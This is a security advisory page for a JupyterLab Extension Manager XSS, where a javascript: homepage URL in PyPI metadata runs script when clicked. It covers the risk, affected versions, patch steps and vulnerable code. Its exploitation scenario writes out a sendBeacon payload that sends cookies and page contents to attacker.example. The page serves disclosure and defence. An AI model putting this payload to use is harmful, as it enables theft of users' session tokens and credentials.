GHSA-vmhf-c436-hxj4: JupyterLab: XSS via malicious PyPI extension URL

GHSA-vmhf-c436-hxj4 MEDIUM
Published June 19, 2026
CISO Take

JupyterLab's Extension Manager blindly trusts URL schemes from PyPI package metadata, allowing an attacker to plant a `javascript:` URI as a package's homepage — a stored XSS that fires when any data scientist clicks the extension name, requiring no access to the target environment whatsoever. With 1,874 downstream dependents, an OpenSSF score of 5.8/10, and 21 prior CVEs in the same package, the JupyterLab supply chain is a recurring weak point for AI/ML teams who routinely browse extensions during model development. Exploitation in the JupyterLab browser origin exposes everything that session holds: open notebook contents, hardcoded API keys, HuggingFace or cloud provider tokens, and active kernel connections. Patch to JupyterLab 4.5.9 immediately; as a stopgap, disable the Extension Manager via JupyterLab settings until the upgrade is complete.

Sources: GitHub Advisory ATLAS OpenSSF

What is the risk?

Medium risk with low exploitation complexity. Any attacker with a PyPI account — no special skills or prior access to the victim required — can publish a payload package and wait. The single-click precondition limits mass automated exploitation but makes targeted attacks against ML teams entirely plausible, particularly via typosquatting or AI-themed package names. JupyterLab environments are disproportionately sensitive targets: they routinely hold plaintext credentials, training data, and model artifacts in active notebook sessions. Multi-user JupyterHub deployments compound blast radius — one compromised click could expose multiple researchers' sessions through shared file systems or adjacent user contexts.

How does the attack unfold?

Publish Malicious Package
Attacker registers a plausible PyPI package and sets its Homepage URL to a javascript: payload in the [project.urls] metadata field, requiring only a PyPI account and no access to any target.
AML.T0011.001
Extension Discovery
The malicious package surfaces in JupyterLab Extension Manager search results when a victim browses or searches for AI/ML-related extensions.
AML.T0074
XSS Execution
Victim clicks the extension name; JupyterLab renders the unsanitized javascript: URL as an anchor href and the browser executes attacker-controlled JavaScript in the full JupyterLab origin.
AML.T0011.003
Credential and Data Exfiltration
Attacker-controlled script harvests session tokens, API keys from open notebook cells, and kernel outputs, beaconing them to an external server before the victim detects anything.
AML.T0025

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Jupyter pip <= 4.5.8 4.5.9
13.2K OpenSSF 5.8 1.9K dependents Pushed 7d ago 76% patched ~11d to patch Full package profile →

Do you use Jupyter? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What should I do?

5 steps
  1. Upgrade jupyterlab to 4.5.9 or later — fixes are in commits 4e61e07 and d5d961f, which sanitize the homepage_url before rendering.

  2. If immediate patching is blocked, disable the Extension Manager by setting "enableExtensionManager": false in JupyterLab's user or server-level settings.

  3. For JupyterHub deployments, enforce a server-side allowlist of permitted extensions and restrict Extension Manager access for untrusted user roles.

  4. Audit Extension Manager access logs for unusual browsing of AI-themed or newly registered packages.

  5. Enforce a policy requiring ML teams to verify publisher identity, download history, and GitHub stars before clicking any unknown extension name in the manager.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.1.3 - Third-party AI components and supply chain
NIST AI RMF
GOVERN 6.1 - Third-party and supply chain risk policies
OWASP LLM Top 10
LLM05 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is GHSA-vmhf-c436-hxj4?

JupyterLab's Extension Manager blindly trusts URL schemes from PyPI package metadata, allowing an attacker to plant a `javascript:` URI as a package's homepage — a stored XSS that fires when any data scientist clicks the extension name, requiring no access to the target environment whatsoever. With 1,874 downstream dependents, an OpenSSF score of 5.8/10, and 21 prior CVEs in the same package, the JupyterLab supply chain is a recurring weak point for AI/ML teams who routinely browse extensions during model development. Exploitation in the JupyterLab browser origin exposes everything that session holds: open notebook contents, hardcoded API keys, HuggingFace or cloud provider tokens, and active kernel connections. Patch to JupyterLab 4.5.9 immediately; as a stopgap, disable the Extension Manager via JupyterLab settings until the upgrade is complete.

Is GHSA-vmhf-c436-hxj4 actively exploited?

No confirmed active exploitation of GHSA-vmhf-c436-hxj4 has been reported, but organizations should still patch proactively.

How to fix GHSA-vmhf-c436-hxj4?

1. Upgrade jupyterlab to 4.5.9 or later — fixes are in commits 4e61e07 and d5d961f, which sanitize the homepage_url before rendering. 2. If immediate patching is blocked, disable the Extension Manager by setting `"enableExtensionManager": false` in JupyterLab's user or server-level settings. 3. For JupyterHub deployments, enforce a server-side allowlist of permitted extensions and restrict Extension Manager access for untrusted user roles. 4. Audit Extension Manager access logs for unusual browsing of AI-themed or newly registered packages. 5. Enforce a policy requiring ML teams to verify publisher identity, download history, and GitHub stars before clicking any unknown extension name in the manager.

What systems are affected by GHSA-vmhf-c436-hxj4?

This vulnerability affects the following AI/ML architecture patterns: ML development environments, Jupyter notebook workflows, Training pipeline orchestration, Multi-user JupyterHub deployments, Data science workspaces.

What is the CVSS score for GHSA-vmhf-c436-hxj4?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

ML development environmentsJupyter notebook workflowsTraining pipeline orchestrationMulti-user JupyterHub deploymentsData science workspaces

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0011.001 Malicious Package
AML.T0011.003 Malicious Link
AML.T0025 Exfiltration via Cyber Means
AML.T0074 Masquerading

Compliance Controls Affected

EU AI Act: Art. 15
ISO 42001: A.6.1.3
NIST AI RMF: GOVERN 6.1
OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

A malicious PyPI package can place a `javascript:` URL in its `[project.urls]` metadata. JupyterLab's Extension Manager renders this as the extension's home-page link without validating the protocol, so a user who clicks the extension name executes attacker-controlled JavaScript in the JupyterLab origin. ### Details One of the PyPI package's URL (jupyterlab/extensions/pypi.py) is copied straight into the `homepage_url` rendered by the frontend in packages/extensionmanager/src/widget.tsx#L77-L88. ```python best_guess_home_url = ( homepage_url # home_page / [project.urls] Homepage or data.get("project_url") or data.get("package_url") or documentation_url # docs_url / [project.urls] Documentation or source_url # [project.urls] Source Code or bug_tracker_url # bugtrack_url / [project.urls] Bug Tracker ) # homepage_url=best_guess_home_url ``` ```tsx {entry.homepage_url ? ( <a href={entry.homepage_url} target="_blank" rel="noopener noreferrer" ...> {entry.name} </a> ) : ( <div>{entry.name}</div> )} ``` ### Impact An attacker needs to publish a package to PyPI (no access to the target). When the package appears in a victim's extension manager list and the victim clicks the extension name, the payload runs in the JupyterLab origin. Preconditions: Extension Manager enabled with the default PyPI source, the malicious package appears in the victim's list/search results. ### Patches Patched in [4.5.9](https://github.com/jupyterlab/jupyterlab/releases/tag/v4.5.9), commits [4e61e07](https://github.com/jupyterlab/jupyterlab/commit/4e61e07d0a91145b53fbf96ac74b0387f6bc51f6) and [d5d961f](https://github.com/jupyterlab/jupyterlab/commit/d5d961f6e10a6442dddbf94d9a976b3897055a12)

Exploitation Scenario

An attacker registers a plausible PyPI package — e.g., `jupyterlab-llm-utils` or `jupyterlab-openai-helper` — and sets its `[project.urls]` Homepage field to `javascript:navigator.sendBeacon('https://attacker.example/c',document.cookie+';'+btoa(document.body.innerHTML))`. The package is indexed by PyPI and surfaces in Extension Manager search results for common AI/ML extension queries. A data scientist evaluating extensions for their LLM workflow clicks the package name expecting to visit the project homepage. The payload executes silently in the JupyterLab origin: session tokens are exfiltrated, and a secondary injected script reads all open notebooks — including any LLM API keys, AWS credentials, or database connection strings — and POSTs their base64-encoded contents to the attacker before the victim notices any anomaly.

Weaknesses (CWE)

CWE-84 — Improper Neutralization of Encoded URI Schemes in a Web Page: The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings.

  • [Implementation] Resolve all URIs to absolute or canonical representations before processing.
  • [Implementation] Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Source: MITRE CWE corpus.

Timeline

Published
June 19, 2026
Last Modified
June 19, 2026
First Seen
June 19, 2026

Related Vulnerabilities